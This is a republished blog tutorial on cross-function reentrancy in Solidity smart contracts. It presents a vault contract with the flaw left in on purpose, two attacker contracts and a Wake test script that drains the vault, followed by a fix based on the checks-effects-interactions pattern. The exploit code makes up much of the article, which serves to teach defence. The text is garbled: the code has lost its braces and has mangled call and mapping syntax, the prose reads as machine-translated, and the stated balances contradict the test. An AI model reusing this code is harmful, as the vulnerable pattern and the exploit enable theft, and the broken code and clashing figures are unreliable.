Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
  • DIRECTORY
  • CRYPTO
    • ETHEREUM
    • BITCOIN
    • ALTCOIN
  • BLOCKCHAIN
  • EXCHANGE
  • TRADING
  • SUBMIT
Crypto Flexs
Home»HACKING NEWS»Cross-Function Reentrancy Attacks – Ackee Blockchain
HACKING NEWS

Cross-Function Reentrancy Attacks – Ackee Blockchain

By Crypto FlexsJuly 5, 20245 Mins Read
Facebook Twitter Pinterest LinkedIn Tumblr Email
Cross-Function Reentrancy Attacks – Ackee Blockchain
Share
Facebook Twitter LinkedIn Pinterest Email

What is a cross-function reentrancy attack?

Cross-function reentrant attacks use multiple functions to execute the attack, which can occur when single-function reentrant attacks are improperly mitigated. Cross-function reentrant attacks are more complex to find vulnerabilities in than single-function reentrant attacks because they use a combination of multiple functions.

This article explores how cross-function reentrancy attacks work, examples of attacks, and how to prevent cross-function reentrancy attacks.

Example of a cross-functional reentrancy vulnerability

This smart contract adds: transfer The ability to transfer a user’s value to another user without using ETH.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault is ReentrancyGuard 
    mapping (address => uint) private balances;

    function deposit() external payable nonReentrant 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public nonReentrant  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        msg.sender.callvalue: amount("");
        balances(msg.sender) = 0; // did not checked balance. just overwrite to 0.
    

This is very similar to single function reentrancy, but we set up a reentrancy guard. withdraw And since there is a deposit function, this code cannot perform the same attack. However, the forward function does not have: nonReentrant.

The problem is that the state change is not completed before the transfer function becomes callable by the user. For example, if the user withdraw The function makes an external call and receives ETH. The balance is then transferred to another address. However, after the external call, the balance is simply set to 0. As a result, the total ETH balance of both accounts is effectively doubled for the same user.

Cross-functional reentrancy attack steps

After making a call attack function,

  1. Call deposit Strengthens balance against attacks.
  2. Call withdraw It is a function and performs an external call. Attackerand call it receive It performs the function and transfers the amount deposited by the attacker to: Attacker2.
  3. So now the sum of Attacker and Attacker2 is multiplied by several times.
  4. Call transfer and transfer the balance Attacker2 to Attacker Now the value of the balance is equal to the step. 1. but Attacker2 You received ETH in the previous step.

We repeat the task.

This is the attacker’s contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";

contract Attacker 
    Vault victim;
    uint256 amount = 1 ether;

    Attacker2 public attacker2;

    constructor(Vault _victim) payable 
        victim = Vault(_victim);
    

    function setattacker2(address _attacker2) public 
        attacker2 = Attacker2(_attacker2);
    

    function attack() public payable 
        uint256 value =  address(this).balance;
        victim.depositvalue: value();
        while(address(victim).balance >= amount) 
            victim.withdraw();
            attacker2.send( value , address(this));
        
    


    /**
     * @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2. 
     * Because burn balance of attacker1 after this function.
     * @dev triggered by victim.withdraw()
     */
    receive() external payable 
        victim.transfer(address(attacker2), msg.value);
    


contract Attacker2 

    uint256 amount = 1 ether;
    Vault victim;

    constructor(Vault _victim) 
        victim = Vault(_victim);
    

    function send(uint256 value, address attacker) public 
        victim.transfer(attacker, value);
    

This is an exploit.

Attacker You need to know Attacker2 let go. Attacker2 Since it could be an EOA, I used a simple contract that only needed to be marked.

from wake.testing import *

from pytypes.contracts.crossfunctionreentrancy.vault import Vault
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker
from pytypes.contracts.crossfunctionreentrancy.attacker import Attacker2

@default_chain.connect()
def test_default():
    print("---------------------Cross Function Reentrancy---------------------")
    victim = default_chain.accounts(0)
    attacker = default_chain.accounts(1)
    
    vault_contract = Vault.deploy(from_=victim)
    vault_contract.deposit(from_=victim, value="10 ether")
 
    
    attacker_contract = Attacker.deploy(vault_contract.address, from_=attacker , value="1 ether")
    attacker2_contract = Attacker2.deploy(vault_contract.address, from_=attacker)

    attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

    print("----------Attack----------")
    attacker_contract.attack(from_=attacker)

    print("Vault balance   : ", vault_contract.balance)
    print("Attacker balance: ", attacker_contract.balance)

This is the output of Wake.

We can see that the Vault balance changed from 5 EHT to 0 ETH. The Attacker balance changed from 1 ETH to 6 ETH.

This is inter-functional reentrancy.

Preventing Cross-Function Reentrancy Attacks

There are ways to prevent these attacks.

CEI(Check-Effect-Interaction)

As with the single-function reentrancy example, the simplest precaution is to avoid making untrusted calls during state changes.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract Vault 
    mapping (address => uint) private balances;

    function deposit() external payable 
        balances(msg.sender) += msg.value;
    

    function transfer(address to, uint amount) public 
        if (balances(msg.sender) >= amount) 
            balances(to) += amount;
            balances(msg.sender) -= amount;
        
    

    function withdraw() public  // we can use noReentrant here.
        uint amount = balances(msg.sender);
        balances(msg.sender) = 0; // change balance
        msg.sender.callvalue: amount(""); // external call
    


There may be other ways to prevent this, but for example using Reentrancy-Guard would still leave you vulnerable to other types of reentrancy, so applying the CEI pattern is the best option.

conclusion

The main problem and cause of reentrancy attacks is that even in the middle of the process of any function, a value can be modified and the value is different from what it should be. There are many ways to modify this, but even if you can prevent reentrancy attacks, you can still use and exploit other types of reentrancy attacks. These attacks will be discussed in future blogs.


There is a reentrancy cases Github repository that lists several types of reentrancy attacks along with protocol-specific reentrancy exploits and prevention cases, as well as guidance blog posts.

Share. Facebook Twitter Pinterest LinkedIn Tumblr Email

Related Posts

Vault12 Guard 2.8 provides real-time portfolio balance for cryptocurrency inheritance

March 18, 2026

Omnipair Loan Audit Summary – Ackee Blockchain

March 8, 2026

Is Vault12 Review 2025 worth using?

March 6, 2026
Add A Comment

Comments are closed.

Recent Posts

Your Passport Or Your Crypto Why Users Are Choosing B1exch.to

March 25, 2026

Bitmine Immersion Technologies (BMNR) Announces Launch Of MAVAN (Made In America VAlidator Network), The Company’s Proprietary Staking Solution

March 25, 2026

BYDFi expands Europe with sponsorship of Next Block Expo 2026 in Warsaw

March 25, 2026

BYDFi Expands European Reach With Next Block Expo 2026 Sponsorship In Warsaw

March 25, 2026

RIV Coin Launches On Solana To Bridge Institutional Capital With DeFi Infrastructure

March 24, 2026

Institutional Bitcoin Investments Surge In 2026- Key Platforms Driving Growth

March 24, 2026

New Federal Reserve Chairman will cut interest rates after Trump nominates Wash.

March 24, 2026

Use AI In Crypto Research- Transforming How Users Discover Blockchain Resources

March 24, 2026

Siren token rises 340% as analysts indicate concentrated holding.

March 24, 2026

OpenAI explores 5GW convergence power deal with Helion Energy

March 23, 2026

Bitmine Immersion Technologies (BMNR) Announces ETH Holdings Reach 4.661 Million Tokens, And Total Crypto And Total Cash Holdings Of $11.0 Billion

March 23, 2026

Crypto Flexs is a Professional Cryptocurrency News Platform. Here we will provide you only interesting content, which you will like very much. We’re dedicated to providing you the best of Cryptocurrency. We hope you enjoy our Cryptocurrency News as much as we enjoy offering them to you.

Contact Us : Partner(@)Cryptoflexs.com

Top Insights

Your Passport Or Your Crypto Why Users Are Choosing B1exch.to

March 25, 2026

Bitmine Immersion Technologies (BMNR) Announces Launch Of MAVAN (Made In America VAlidator Network), The Company’s Proprietary Staking Solution

March 25, 2026

BYDFi expands Europe with sponsorship of Next Block Expo 2026 in Warsaw

March 25, 2026
Most Popular

Ethereum at $2,200 is “fun”; Will I receive 10X?

December 6, 2023

BitGo integrates with Hedera (HBAR) committee

February 29, 2024

NEAR Protocol surges 7.3%, is it ready to rise further?

April 26, 2024
  • Home
  • About Us
  • Contact Us
  • Disclaimer
  • Privacy Policy
  • Terms and Conditions
© 2026 Crypto Flexs

Type above and press Enter to search. Press Esc to cancel.